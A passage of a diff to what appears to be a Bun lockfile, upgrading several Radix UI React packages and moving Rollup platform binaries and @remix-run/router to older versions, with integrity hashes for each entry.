+ "@radix-ui/react-alert-dialog": ["@radix-ui/react-alert-dialog@1.1.15", "", { "dependencies": { "@radix-ui/primitive": "1.1.3", "@radix-ui/react-compose-refs": "1.1.2", "@radix-ui/react-context": "1.1.2", "@radix-ui/react-dialog": "1.1.15", "@radix-ui/react-primitive": "2.1.3", "@radix-ui/react-slot": "1.2.3" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-oTVLkEw5GpdRe29BqJ0LSDFWI3qu0vR1M0mUkOQWDIUnY/QIkLpgDMWuKxP94c2NAC2LGcgVhG1ImF3jkZ5wXw=="],
"@radix-ui/react-arrow": ["@radix-ui/react-arrow@1.0.3", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/react-primitive": "1.0.3" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0", "react-dom": "^16.8 || ^17.0 || ^18.0" } }, "sha512-wSP+pHsB/jQRaL6voubsQ/ZlrGBHHrOjmBnr19hxYgtS0WvAFwZhK2WP/YY5yF9uKECCEEDGxuLxq1NBK51wFA=="],
@@ -1679,17 +1561,17 @@
"@radix-ui/react-context": ["@radix-ui/react-context@1.1.2", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" } }, "sha512-jCi/QKUM2r1Ju5a3J64TH2A5SpKAgh0LpknyqdQ4m6DCV0xJ2HG1xARRwNGPQfi1SLdLWZ1OJz6F4OMBBNiGJA=="],
- "@radix-ui/react-dialog": ["@radix-ui/react-dialog@1.0.2", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/primitive": "1.0.0", "@radix-ui/react-compose-refs": "1.0.0", "@radix-ui/react-context": "1.0.0", "@radix-ui/react-dismissable-layer": "1.0.2", "@radix-ui/react-focus-guards": "1.0.0", "@radix-ui/react-focus-scope": "1.0.1", "@radix-ui/react-id": "1.0.0", "@radix-ui/react-portal": "1.0.1", "@radix-ui/react-presence": "1.0.0", "@radix-ui/react-primitive": "1.0.1", "@radix-ui/react-slot": "1.0.1", "@radix-ui/react-use-controllable-state": "1.0.0", "aria-hidden": "^1.1.1", "react-remove-scroll": "2.5.5" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0", "react-dom": "^16.8 || ^17.0 || ^18.0" } }, "sha512-EKxxp2WNSmUPkx4trtWNmZ4/vAYEg7JkAfa1HKBUnaubw9eHzf1Orr9B472lJYaYz327RHDrd4R95fsw7VR8DA=="],
+ "@radix-ui/react-dialog": ["@radix-ui/react-dialog@1.1.15", "", { "dependencies": { "@radix-ui/primitive": "1.1.3", "@radix-ui/react-compose-refs": "1.1.2", "@radix-ui/react-context": "1.1.2", "@radix-ui/react-dismissable-layer": "1.1.11", "@radix-ui/react-focus-guards": "1.1.3", "@radix-ui/react-focus-scope": "1.1.7", "@radix-ui/react-id": "1.1.1", "@radix-ui/react-portal": "1.1.9", "@radix-ui/react-presence": "1.1.5", "@radix-ui/react-primitive": "2.1.3", "@radix-ui/react-slot": "1.2.3", "@radix-ui/react-use-controllable-state": "1.2.2", "aria-hidden": "^1.2.4", "react-remove-scroll": "^2.6.3" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-TCglVRtzlffRNxRMEyR36DGBLJpeusFcgMVD9PZEzAKnUs1lKCgX5u9BmC2Yg+LL9MgZDugFFs1Vl+Jp4t/PGw=="],
"@radix-ui/react-direction": ["@radix-ui/react-direction@1.1.1", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" } }, "sha512-1UEWRX6jnOA2y4H5WczZ44gOOjTEmlqv1uNW4GAJEO5+bauCBhv8snY65Iw5/VOS/ghKN9gr2KjnLKxrsvoMVw=="],
- "@radix-ui/react-dismissable-layer": ["@radix-ui/react-dismissable-layer@1.0.2", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/primitive": "1.0.0", "@radix-ui/react-compose-refs": "1.0.0", "@radix-ui/react-primitive": "1.0.1", "@radix-ui/react-use-callback-ref": "1.0.0", "@radix-ui/react-use-escape-keydown": "1.0.2" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0", "react-dom": "^16.8 || ^17.0 || ^18.0" } }, "sha512-WjJzMrTWROozDqLB0uRWYvj4UuXsM/2L19EmQ3Au+IJWqwvwq9Bwd+P8ivo0Deg9JDPArR1I6MbWNi1CmXsskg=="],
+ "@radix-ui/react-dismissable-layer": ["@radix-ui/react-dismissable-layer@1.1.11", "", { "dependencies": { "@radix-ui/primitive": "1.1.3", "@radix-ui/react-compose-refs": "1.1.2", "@radix-ui/react-primitive": "2.1.3", "@radix-ui/react-use-callback-ref": "1.1.1", "@radix-ui/react-use-escape-keydown": "1.1.1" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-Nqcp+t5cTB8BinFkZgXiMJniQH0PsUt2k51FUhbdfeKvc4ACcG2uQniY/8+h1Yv6Kza4Q7lD7PQV0z0oicE0Mg=="],
"@radix-ui/react-dropdown-menu": ["@radix-ui/react-dropdown-menu@2.1.1", "", { "dependencies": { "@radix-ui/primitive": "1.1.0", "@radix-ui/react-compose-refs": "1.1.0", "@radix-ui/react-context": "1.1.0", "@radix-ui/react-id": "1.1.0", "@radix-ui/react-menu": "2.1.1", "@radix-ui/react-primitive": "2.0.0", "@radix-ui/react-use-controllable-state": "1.1.0" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" } }, "sha512-y8E+x9fBq9qvteD2Zwa4397pUVhYsh9iq44b5RD5qu1GMJWBCBuVg1hMyItbc6+zH00TxGRqd9Iot4wzf3OoBQ=="],
- "@radix-ui/react-focus-guards": ["@radix-ui/react-focus-guards@1.0.0", "", { "dependencies": { "@babel/runtime": "^7.13.10" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-UagjDk4ijOAnGu4WMUPj9ahi7/zJJqNZ9ZAiGPp7waUWJO0O1aWXi/udPphI0IUjvrhBsZJGSN66dR2dsueLWQ=="],
+ "@radix-ui/react-focus-guards": ["@radix-ui/react-focus-guards@1.1.3", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-0rFg/Rj2Q62NCm62jZw0QX7a3sz6QCQU0LpZdNrJX8byRGaGVTqbrW9jAoIAHyMQqsNpeZ81YgSizOt5WXq0Pw=="],
- "@radix-ui/react-focus-scope": ["@radix-ui/react-focus-scope@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/react-compose-refs": "1.0.0", "@radix-ui/react-primitive": "1.0.1", "@radix-ui/react-use-callback-ref": "1.0.0" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0", "react-dom": "^16.8 || ^17.0 || ^18.0" } }, "sha512-Ej2MQTit8IWJiS2uuujGUmxXjF/y5xZptIIQnyd2JHLwtV0R2j9NRVoRj/1j/gJ7e3REdaBw4Hjf4a1ImhkZcQ=="],
+ "@radix-ui/react-focus-scope": ["@radix-ui/react-focus-scope@1.1.7", "", { "dependencies": { "@radix-ui/react-compose-refs": "1.1.2", "@radix-ui/react-primitive": "2.1.3", "@radix-ui/react-use-callback-ref": "1.1.1" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" } }, "sha512-t2ODlkXBQyn7jkl6TNaw/MtVEVvIGelJDCG41Okq/KwUsJBwQ4XVZsHAVUkK4mBv3ewiAS3PGuUWuY2BoK4ZUw=="],
"@radix-ui/react-hover-card": ["@radix-ui/react-hover-card@1.0.7", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/primitive": "1.0.1", "@radix-ui/react-compose-refs": "1.0.1", "@radix-ui/react-context": "1.0.1", "@radix-ui/react-dismissable-layer": "1.0.5", "@radix-ui/react-popper": "1.1.3", "@radix-ui/react-portal": "1.0.4", "@radix-ui/react-presence": "1.0.1", "@radix-ui/react-primitive": "1.0.3", "@radix-ui/react-use-controllable-state": "1.0.1" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0", "react-dom": "^16.8 || ^17.0 || ^18.0" } }, "sha512-OcUN2FU0YpmajD/qkph3XzMcK/NmSk9hGWnjV68p6QiZMgILugusgQwnLSDs3oFSJYGKf3Y49zgFedhGh04k9A=="],
@@ -1705,7 +1587,7 @@
"@radix-ui/react-popper": ["@radix-ui/react-popper@1.1.3", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@floating-ui/react-dom": "^2.0.0", "@radix-ui/react-arrow": "1.0.3", "@radix-ui/react-compose-refs": "1.0.1", "@radix-ui/react-context": "1.0.1", "@radix-ui/react-primitive": "1.0.3", "@radix-ui/react-use-callback-ref": "1.0.1", "@radix-ui/react-use-layout-effect": "1.0.1", "@radix-ui/react-use-rect": "1.0.1", "@radix-ui/react-use-size": "1.0.1", "@radix-ui/rect": "1.0.1" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0", "react-dom": "^16.8 || ^17.0 || ^18.0" } }, "sha512-cKpopj/5RHZWjrbF2846jBNacjQVwkP068DfmgrNJXpvVWrOvlAmE9xSiy5OqeE+Gi8D9fP+oDhUnPqNMY8/5w=="],
- "@radix-ui/react-portal": ["@radix-ui/react-portal@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/react-primitive": "1.0.1" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0", "react-dom": "^16.8 || ^17.0 || ^18.0" } }, "sha512-NY2vUWI5WENgAT1nfC6JS7RU5xRYBfjZVLq0HmgEN1Ezy3rk/UruMV4+Rd0F40PEaFC5SrLS1ixYvcYIQrb4Ig=="],
+ "@radix-ui/react-portal": ["@radix-ui/react-portal@1.1.9", "", { "dependencies": { "@radix-ui/react-primitive": "2.1.3", "@radix-ui/react-use-layout-effect": "1.1.1" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" } }, "sha512-bpIxvq03if6UNwXZ+HTK71JLh4APvnXntDc6XOX8UVq4XQOVl7lwok0AvIl+b8zgCw3fSaVTZMpAPPagXbKmHQ=="],
"@radix-ui/react-presence": ["@radix-ui/react-presence@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/react-compose-refs": "1.0.1", "@radix-ui/react-use-layout-effect": "1.0.1" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0", "react-dom": "^16.8 || ^17.0 || ^18.0" } }, "sha512-UXLW4UAbIY5ZjcvzjfRFo5gxva8QirC9hF7wRE4U5gz+TP0DbRk+//qyuAQ1McDxBt1xNMBTaciFGvEmJvAZCg=="],
@@ -1737,7 +1619,7 @@
"@radix-ui/react-use-effect-event": ["@radix-ui/react-use-effect-event@0.0.2", "", { "dependencies": { "@radix-ui/react-use-layout-effect": "1.1.1" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" } }, "sha512-Qp8WbZOBe+blgpuUT+lw2xheLP8q0oatc9UpmiemEICxGvFLYmHm9QowVZGHtJlGbS6A6yJ3iViad/2cVjnOiA=="],
- "@radix-ui/react-use-escape-keydown": ["@radix-ui/react-use-escape-keydown@1.0.2", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/react-use-callback-ref": "1.0.0" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-DXGim3x74WgUv+iMNCF+cAo8xUHHeqvjx8zs7trKf+FkQKPQXLk2sX7Gx1ysH7Q76xCpZuxIJE7HLPxRE+Q+GA=="],
+ "@radix-ui/react-use-escape-keydown": ["@radix-ui/react-use-escape-keydown@1.1.1", "", { "dependencies": { "@radix-ui/react-use-callback-ref": "1.1.1" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" } }, "sha512-Il0+boE7w/XebUHyBjroE+DbByORGR9KKmITzbR7MyQ4akpORYP/ZmbhAr0DG7RmmBqoOnZdy2QlvajJ2QA59g=="],
"@radix-ui/react-use-layout-effect": ["@radix-ui/react-use-layout-effect@1.1.1", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" } }, "sha512-RbJRS4UWQFkzHTTwVymMTUv8EqYhOp8dOOviLj2ugtTiXRaRQS7GLGxZTLL1jWhMeoSCf5zmcZkqTl9IiYfXcQ=="],
@@ -1791,7 +1673,7 @@
"@redis/client": ["@redis/client@1.6.0", "", { "dependencies": { "cluster-key-slot": "1.1.2", "generic-pool": "3.9.0", "yallist": "4.0.0" } }, "sha512-aR0uffYI700OEEH4gYnitAnv3vzVGXCFvYfdpu/CJKvk4pHfLPEy/JSZyrpQ+15WhXe1yJRXLtfQ84s4mEXnPg=="],
- "@remix-run/router": ["@remix-run/router@1.23.2", "", {}, "sha512-Ic6m2U/rMjTkhERIa/0ZtXJP17QUi2CbWE7cqx4J58M8aA3QTfW+2UlQ4psvTX9IO1RfNVhK3pcpdjej7L+t2w=="],
+ "@remix-run/router": ["@remix-run/router@1.15.0", "", {}, "sha512-HOil5aFtme37dVQTB6M34G95kPM3MMuqSmIRVCC52eKV+Y/tGSqw9P3rWhlAx6A+mz+MoX+XxsGsNJbaI5qCgQ=="],
"@remote-dom/core": ["@remote-dom/core@1.9.0", "", { "dependencies": { "@remote-dom/polyfill": "^1.4.4", "htm": "^3.1.1" }, "peerDependencies": { "@preact/signals-core": "^1.3.0" } }, "sha512-h8OO2NRns2paXO/q5hkfXrwlZKq7oKj9XedGosi7J8OP3+aW7N2Gv4MBBVVQGCfOiZPkOj5m3sQH7FdyUWl7PQ=="],
@@ -1799,8 +1681,6 @@
"@remote-dom/react": ["@remote-dom/react@1.2.2", "", { "dependencies": { "@remote-dom/core": "^1.7.0", "@types/react": "^18.0.0", "htm": "^3.1.1" }, "peerDependencies": { "react": "^17.0.0 || ^18.0.0" } }, "sha512-PkvioODONTr1M0StGDYsR4Ssf5M0Rd4+IlWVvVoK3Zrw8nr7+5mJkgNofaj/z7i8Aep78L28PCW8/WduUt4unA=="],
- "@rolldown/pluginutils": ["@rolldown/pluginutils@1.0.0-rc.3", "", {}, "sha512-eybk3TjzzzV97Dlj5c+XrBFW57eTNhzod66y9HrBlzJ6NsCrWCp/2kaPS3K9wJmurBC0Tdw4yPjXKZqlznim3Q=="],
-
"@rollup/plugin-alias": ["@rollup/plugin-alias@5.1.0", "", { "dependencies": { "slash": "^4.0.0" }, "peerDependencies": { "rollup": "^1.20.0||^2.0.0||^3.0.0||^4.0.0" } }, "sha512-lpA3RZ9PdIG7qqhEfv79tBffNaoDuukFDrmhLqg9ifv99u/ehn+lOg30x2zmhf8AQqQUZaMk/B9fZraQ6/acDQ=="],
"@rollup/plugin-babel": ["@rollup/plugin-babel@5.3.1", "", { "dependencies": { "@babel/helper-module-imports": "^7.10.4", "@rollup/pluginutils": "^3.1.0" }, "peerDependencies": { "@babel/core": "^7.0.0", "@types/babel__core": "^7.1.9", "rollup": "^1.20.0||^2.0.0" } }, "sha512-WFfdLWU/xVWKeRQnKmIAQULUI7Il0gZnBIH/ZFO069wYIfPu+8zrfp/KMW0atmELoRDq8FbiP3VCss9MhCut7Q=="],
@@ -1821,167 +1701,155 @@
"@rollup/pluginutils": ["@rollup/pluginutils@5.1.0", "", { "dependencies": { "@types/estree": "^1.0.0", "estree-walker": "^2.0.2", "picomatch": "^2.3.1" }, "peerDependencies": { "rollup": "^1.20.0||^2.0.0||^3.0.0||^4.0.0" } }, "sha512-XTIWOPPcpvyKI6L1NHo0lFlCyznUEyPmPY1mc3KpPVDYulHSTvyeLNVW00QTLIAFNhR3kYnJTQHeGqU4M3n09g=="],
- "@rollup/rollup-android-arm-eabi": ["@rollup/rollup-android-arm-eabi@4.59.0", "", { "os": "android", "cpu": "arm" }, "sha512-upnNBkA6ZH2VKGcBj9Fyl9IGNPULcjXRlg0LLeaioQWueH30p6IXtJEbKAgvyv+mJaMxSm1l6xwDXYjpEMiLMg=="],
+ "@rollup/rollup-android-arm-eabi": ["@rollup/rollup-android-arm-eabi@4.37.0", "", { "os": "android", "cpu": "arm" }, "sha512-l7StVw6WAa8l3vA1ov80jyetOAEo1FtHvZDbzXDO/02Sq/QVvqlHkYoFwDJPIMj0GKiistsBudfx5tGFnwYWDQ=="],
- "@rollup/rollup-android-arm64": ["@rollup/rollup-android-arm64@4.59.0", "", { "os": "android", "cpu": "arm64" }, "sha512-hZ+Zxj3SySm4A/DylsDKZAeVg0mvi++0PYVceVyX7hemkw7OreKdCvW2oQ3T1FMZvCaQXqOTHb8qmBShoqk69Q=="],
+ "@rollup/rollup-android-arm64": ["@rollup/rollup-android-arm64@4.37.0", "", { "os": "android", "cpu": "arm64" }, "sha512-6U3SlVyMxezt8Y+/iEBcbp945uZjJwjZimu76xoG7tO1av9VO691z8PkhzQ85ith2I8R2RddEPeSfcbyPfD4hA=="],
- "@rollup/rollup-darwin-arm64": ["@rollup/rollup-darwin-arm64@4.59.0", "", { "os": "darwin", "cpu": "arm64" }, "sha512-W2Psnbh1J8ZJw0xKAd8zdNgF9HRLkdWwwdWqubSVk0pUuQkoHnv7rx4GiF9rT4t5DIZGAsConRE3AxCdJ4m8rg=="],
+ "@rollup/rollup-darwin-arm64": ["@rollup/rollup-darwin-arm64@4.37.0", "", { "os": "darwin", "cpu": "arm64" }, "sha512-+iTQ5YHuGmPt10NTzEyMPbayiNTcOZDWsbxZYR1ZnmLnZxG17ivrPSWFO9j6GalY0+gV3Jtwrrs12DBscxnlYA=="],
- "@rollup/rollup-darwin-x64": ["@rollup/rollup-darwin-x64@4.59.0", "", { "os": "darwin", "cpu": "x64" }, "sha512-ZW2KkwlS4lwTv7ZVsYDiARfFCnSGhzYPdiOU4IM2fDbL+QGlyAbjgSFuqNRbSthybLbIJ915UtZBtmuLrQAT/w=="],
+ "@rollup/rollup-darwin-x64": ["@rollup/rollup-darwin-x64@4.37.0", "", { "os": "darwin", "cpu": "x64" }, "sha512-m8W2UbxLDcmRKVjgl5J/k4B8d7qX2EcJve3Sut7YGrQoPtCIQGPH5AMzuFvYRWZi0FVS0zEY4c8uttPfX6bwYQ=="],
- "@rollup/rollup-freebsd-arm64": ["@rollup/rollup-freebsd-arm64@4.59.0", "", { "os": "freebsd", "cpu": "arm64" }, "sha512-EsKaJ5ytAu9jI3lonzn3BgG8iRBjV4LxZexygcQbpiU0wU0ATxhNVEpXKfUa0pS05gTcSDMKpn3Sx+QB9RlTTA=="],
+ "@rollup/rollup-freebsd-arm64": ["@rollup/rollup-freebsd-arm64@4.37.0", "", { "os": "freebsd", "cpu": "arm64" }, "sha512-FOMXGmH15OmtQWEt174v9P1JqqhlgYge/bUjIbiVD1nI1NeJ30HYT9SJlZMqdo1uQFyt9cz748F1BHghWaDnVA=="],
- "@rollup/rollup-freebsd-x64": ["@rollup/rollup-freebsd-x64@4.59.0", "", { "os": "freebsd", "cpu": "x64" }, "sha512-d3DuZi2KzTMjImrxoHIAODUZYoUUMsuUiY4SRRcJy6NJoZ6iIqWnJu9IScV9jXysyGMVuW+KNzZvBLOcpdl3Vg=="],
+ "@rollup/rollup-freebsd-x64": ["@rollup/rollup-freebsd-x64@4.37.0", "", { "os": "freebsd", "cpu": "x64" }, "sha512-SZMxNttjPKvV14Hjck5t70xS3l63sbVwl98g3FlVVx2YIDmfUIy29jQrsw06ewEYQ8lQSuY9mpAPlmgRD2iSsA=="],
- "@rollup/rollup-linux-arm-gnueabihf": ["@rollup/rollup-linux-arm-gnueabihf@4.59.0", "", { "os": "linux", "cpu": "arm" }, "sha512-t4ONHboXi/3E0rT6OZl1pKbl2Vgxf9vJfWgmUoCEVQVxhW6Cw/c8I6hbbu7DAvgp82RKiH7TpLwxnJeKv2pbsw=="],
+ "@rollup/rollup-linux-arm-gnueabihf": ["@rollup/rollup-linux-arm-gnueabihf@4.37.0", "", { "os": "linux", "cpu": "arm" }, "sha512-hhAALKJPidCwZcj+g+iN+38SIOkhK2a9bqtJR+EtyxrKKSt1ynCBeqrQy31z0oWU6thRZzdx53hVgEbRkuI19w=="],
- "@rollup/rollup-linux-arm-musleabihf": ["@rollup/rollup-linux-arm-musleabihf@4.59.0", "", { "os": "linux", "cpu": "arm" }, "sha512-CikFT7aYPA2ufMD086cVORBYGHffBo4K8MQ4uPS/ZnY54GKj36i196u8U+aDVT2LX4eSMbyHtyOh7D7Zvk2VvA=="],
+ "@rollup/rollup-linux-arm-musleabihf": ["@rollup/rollup-linux-arm-musleabihf@4.37.0", "", { "os": "linux", "cpu": "arm" }, "sha512-jUb/kmn/Gd8epbHKEqkRAxq5c2EwRt0DqhSGWjPFxLeFvldFdHQs/n8lQ9x85oAeVb6bHcS8irhTJX2FCOd8Ag=="],
- "@rollup/rollup-linux-arm64-gnu": ["@rollup/rollup-linux-arm64-gnu@4.59.0", "", { "os": "linux", "cpu": "arm64" }, "sha512-jYgUGk5aLd1nUb1CtQ8E+t5JhLc9x5WdBKew9ZgAXg7DBk0ZHErLHdXM24rfX+bKrFe+Xp5YuJo54I5HFjGDAA=="],
+ "@rollup/rollup-linux-arm64-gnu": ["@rollup/rollup-linux-arm64-gnu@4.37.0", "", { "os": "linux", "cpu": "arm64" }, "sha512-oNrJxcQT9IcbcmKlkF+Yz2tmOxZgG9D9GRq+1OE6XCQwCVwxixYAa38Z8qqPzQvzt1FCfmrHX03E0pWoXm1DqA=="],
- "@rollup/rollup-linux-arm64-musl": ["@rollup/rollup-linux-arm64-musl@4.59.0", "", { "os": "linux", "cpu": "arm64" }, "sha512-peZRVEdnFWZ5Bh2KeumKG9ty7aCXzzEsHShOZEFiCQlDEepP1dpUl/SrUNXNg13UmZl+gzVDPsiCwnV1uI0RUA=="],
+ "@rollup/rollup-linux-arm64-musl": ["@rollup/rollup-linux-arm64-musl@4.37.0", "", { "os": "linux", "cpu": "arm64" }, "sha512-pfxLBMls+28Ey2enpX3JvjEjaJMBX5XlPCZNGxj4kdJyHduPBXtxYeb8alo0a7bqOoWZW2uKynhHxF/MWoHaGQ=="],
- "@rollup/rollup-linux-loong64-gnu": ["@rollup/rollup-linux-loong64-gnu@4.59.0", "", { "os": "linux", "cpu": "none" }, "sha512-gbUSW/97f7+r4gHy3Jlup8zDG190AuodsWnNiXErp9mT90iCy9NKKU0Xwx5k8VlRAIV2uU9CsMnEFg/xXaOfXg=="],
+ "@rollup/rollup-linux-loongarch64-gnu": ["@rollup/rollup-linux-loongarch64-gnu@4.37.0", "", { "os": "linux", "cpu": "none" }, "sha512-yCE0NnutTC/7IGUq/PUHmoeZbIwq3KRh02e9SfFh7Vmc1Z7atuJRYWhRME5fKgT8aS20mwi1RyChA23qSyRGpA=="],
- "@rollup/rollup-linux-loong64-musl": ["@rollup/rollup-linux-loong64-musl@4.59.0", "", { "os": "linux", "cpu": "none" }, "sha512-yTRONe79E+o0FWFijasoTjtzG9EBedFXJMl888NBEDCDV9I2wGbFFfJQQe63OijbFCUZqxpHz1GzpbtSFikJ4Q=="],
+ "@rollup/rollup-linux-powerpc64le-gnu": ["@rollup/rollup-linux-powerpc64le-gnu@4.37.0", "", { "os": "linux", "cpu": "ppc64" }, "sha512-NxcICptHk06E2Lh3a4Pu+2PEdZ6ahNHuK7o6Np9zcWkrBMuv21j10SQDJW3C9Yf/A/P7cutWoC/DptNLVsZ0VQ=="],
- "@rollup/rollup-linux-ppc64-gnu": ["@rollup/rollup-linux-ppc64-gnu@4.59.0", "", { "os": "linux", "cpu": "ppc64" }, "sha512-sw1o3tfyk12k3OEpRddF68a1unZ5VCN7zoTNtSn2KndUE+ea3m3ROOKRCZxEpmT9nsGnogpFP9x6mnLTCaoLkA=="],
+ "@rollup/rollup-linux-riscv64-gnu": ["@rollup/rollup-linux-riscv64-gnu@4.37.0", "", { "os": "linux", "cpu": "none" }, "sha512-PpWwHMPCVpFZLTfLq7EWJWvrmEuLdGn1GMYcm5MV7PaRgwCEYJAwiN94uBuZev0/J/hFIIJCsYw4nLmXA9J7Pw=="],
- "@rollup/rollup-linux-ppc64-musl": ["@rollup/rollup-linux-ppc64-musl@4.59.0", "", { "os": "linux", "cpu": "ppc64" }, "sha512-+2kLtQ4xT3AiIxkzFVFXfsmlZiG5FXYW7ZyIIvGA7Bdeuh9Z0aN4hVyXS/G1E9bTP/vqszNIN/pUKCk/BTHsKA=="],
+ "@rollup/rollup-linux-riscv64-musl": ["@rollup/rollup-linux-riscv64-musl@4.37.0", "", { "os": "linux", "cpu": "none" }, "sha512-DTNwl6a3CfhGTAOYZ4KtYbdS8b+275LSLqJVJIrPa5/JuIufWWZ/QFvkxp52gpmguN95eujrM68ZG+zVxa8zHA=="],
- "@rollup/rollup-linux-riscv64-gnu": ["@rollup/rollup-linux-riscv64-gnu@4.59.0", "", { "os": "linux", "cpu": "none" }, "sha512-NDYMpsXYJJaj+I7UdwIuHHNxXZ/b/N2hR15NyH3m2qAtb/hHPA4g4SuuvrdxetTdndfj9b1WOmy73kcPRoERUg=="],
+ "@rollup/rollup-linux-s390x-gnu": ["@rollup/rollup-linux-s390x-gnu@4.37.0", "", { "os": "linux", "cpu": "s390x" }, "sha512-hZDDU5fgWvDdHFuExN1gBOhCuzo/8TMpidfOR+1cPZJflcEzXdCy1LjnklQdW8/Et9sryOPJAKAQRw8Jq7Tg+A=="],
- "@rollup/rollup-linux-riscv64-musl": ["@rollup/rollup-linux-riscv64-musl@4.59.0", "", { "os": "linux", "cpu": "none" }, "sha512-nLckB8WOqHIf1bhymk+oHxvM9D3tyPndZH8i8+35p/1YiVoVswPid2yLzgX7ZJP0KQvnkhM4H6QZ5m0LzbyIAg=="],
+ "@rollup/rollup-linux-x64-gnu": ["@rollup/rollup-linux-x64-gnu@4.37.0", "", { "os": "linux", "cpu": "x64" }, "sha512-pKivGpgJM5g8dwj0ywBwe/HeVAUSuVVJhUTa/URXjxvoyTT/AxsLTAbkHkDHG7qQxLoW2s3apEIl26uUe08LVQ=="],
- "@rollup/rollup-linux-s390x-gnu": ["@rollup/rollup-linux-s390x-gnu@4.59.0", "", { "os": "linux", "cpu": "s390x" }, "sha512-oF87Ie3uAIvORFBpwnCvUzdeYUqi2wY6jRFWJAy1qus/udHFYIkplYRW+wo+GRUP4sKzYdmE1Y3+rY5Gc4ZO+w=="],
+ "@rollup/rollup-linux-x64-musl": ["@rollup/rollup-linux-x64-musl@4.37.0", "", { "os": "linux", "cpu": "x64" }, "sha512-E2lPrLKE8sQbY/2bEkVTGDEk4/49UYRVWgj90MY8yPjpnGBQ+Xi1Qnr7b7UIWw1NOggdFQFOLZ8+5CzCiz143w=="],
- "@rollup/rollup-linux-x64-gnu": ["@rollup/rollup-linux-x64-gnu@4.59.0", "", { "os": "linux", "cpu": "x64" }, "sha512-3AHmtQq/ppNuUspKAlvA8HtLybkDflkMuLK4DPo77DfthRb71V84/c4MlWJXixZz4uruIH4uaa07IqoAkG64fg=="],
+ "@rollup/rollup-win32-arm64-msvc": ["@rollup/rollup-win32-arm64-msvc@4.37.0", "", { "os": "win32", "cpu": "arm64" }, "sha512-Jm7biMazjNzTU4PrQtr7VS8ibeys9Pn29/1bm4ph7CP2kf21950LgN+BaE2mJ1QujnvOc6p54eWWiVvn05SOBg=="],
- "@rollup/rollup-linux-x64-musl": ["@rollup/rollup-linux-x64-musl@4.59.0", "", { "os": "linux", "cpu": "x64" }, "sha512-2UdiwS/9cTAx7qIUZB/fWtToJwvt0Vbo0zmnYt7ED35KPg13Q0ym1g442THLC7VyI6JfYTP4PiSOWyoMdV2/xg=="],
+ "@rollup/rollup-win32-ia32-msvc": ["@rollup/rollup-win32-ia32-msvc@4.37.0", "", { "os": "win32", "cpu": "ia32" }, "sha512-e3/1SFm1OjefWICB2Ucstg2dxYDkDTZGDYgwufcbsxTHyqQps1UQf33dFEChBNmeSsTOyrjw2JJq0zbG5GF6RA=="],
- "@rollup/rollup-openbsd-x64": ["@rollup/rollup-openbsd-x64@4.59.0", "", { "os": "openbsd", "cpu": "x64" }, "sha512-M3bLRAVk6GOwFlPTIxVBSYKUaqfLrn8l0psKinkCFxl4lQvOSz8ZrKDz2gxcBwHFpci0B6rttydI4IpS4IS/jQ=="],
-
